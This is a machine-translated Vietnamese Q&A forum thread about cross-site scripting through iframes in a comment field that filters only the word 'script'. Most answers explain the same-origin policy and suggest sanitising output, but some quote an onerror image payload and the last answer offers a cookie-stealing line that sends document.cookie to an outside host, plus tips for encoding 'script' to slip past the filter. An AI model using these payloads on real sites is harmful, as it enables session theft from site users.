2011-11-28 33 views
7

Tôi đang thử nghiệm với việc tạo trang web chéo. Tôi có một trang web cho phép người dùng chèn nhận xét và xem chúng trên trang web. Trang web lọc chuỗi "tập lệnh" mặc dù từ nhận xét nhưng nó cho phép iframe. Tôi hiểu rằng tôi có thể nhúng một iframe trỏ đến trang web mà tôi tạo và tôi có thể chạy bất kỳ tập lệnh nào mình muốn. Câu hỏi của tôi là: kịch bản iframe của tôi có thể đọc cookie được khởi xướng bởi trang web gốc không? Tôi đã thử cảnh báo (document.cookie) nhưng nó cho thấy một cảnh báo không có gì trong đó. Trang web gốc luôn đặt cookie mặc dù khi khách hàng yêu cầu. Bất kỳ ý tưởng những gì tôi đang mất tích?tạo kịch bản lệnh chéo trang web với Iframe

+1

Để truy cập vào một trang mẹ từ một iframe (cả hai trang trên cùng một doimain), sử dụng đối tượng 'parent', ví dụ 'parent.document.cookie' –

Trả lời

9

Cả hai trang xung quanh cần phải xuất phát từ cùng một tên miền. Điều này bị hạn chế bởi chính sách Origin Origin, trong đó nói rằng một script trong một frame chỉ có thể truy cập dữ liệu trong một frame khác cho chúng trên cùng một giao thức, có cùng tên miền và đang chạy trên cùng một cổng. Nó có thể hơi thoải mái bằng cách đặt document.domain thành miền cấp cao nhất trong cả hai khung hình, và do đó cho phép các khung từ tên miền phụ để giao tiếp.

Bạn có thể thử nhập, mặc dù điều đó có thể bị chặn trong các trình duyệt mới hơn.

Tập lệnh giới hạn tuy nhiên không đủ để dừng XSS. Có rất nhiều cách khác. Xem http://html5sec.orghttp://ha.ckers.org/xss.html

+0

Nếu tôi hiểu chính xác, đó là vấn đề của iframe con để đặt document.domain, phải không? * (kể từ khi thực hiện nó trong tài liệu gốc trả về lỗi mạng) * – user2284570

0

Theo tôi biết, khung nội tuyến không thể truy cập vào trang web gốc nếu tên miền iframe và tên miền của trang web gốc khác nhau, nhưng có other problems. (Ví dụ. Cracker cho ý kiến ​​<img src="asdf" onerror="alert(document.cookie)"/>)

Bạn có thể muốn sử dụng somethings như HTML Purifier ....

1

Cookie tuân theo cùng chính sách gốc. Vì vậy, nếu trang web tấn công và trang web nạn nhân (cho phép iframe mở) đang có cùng một máy chủ thì cửa sổ bật lên đang chạy document.cookie sẽ conatin thông tin cookie. Vì trong trường hợp của bạn, chúng dường như là các tên miền khác nhau ăn cắp cookie sẽ không thể thực hiện được. Để ngăn chặn XSS cách tốt hơn là sử dụng thẻ C: out của thư viện jstl lõi

3

Bạn đã nói rằng bạn đang cố gắng sử dụng cookie làm trọng tải cho XSS?

Bạn có thực sự đang cố lấy cắp cookie không?

Nhưng nếu trang web cho phép bạn chèn nhận xét và chỉ xóa "tập lệnh" thì bạn có một loạt lựa chọn thay thế để chèn XSS bao gồm cả tập lệnh ăn cắp coookie.

Hãy thử điều này

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie; 

nhưng bạn muốn mã hóa các kịch bản từ để bạn có thể thay vào đó bạn có thể thử

Script

hoặc unicode 73 63 72 69 70 74

Các vấn đề liên quan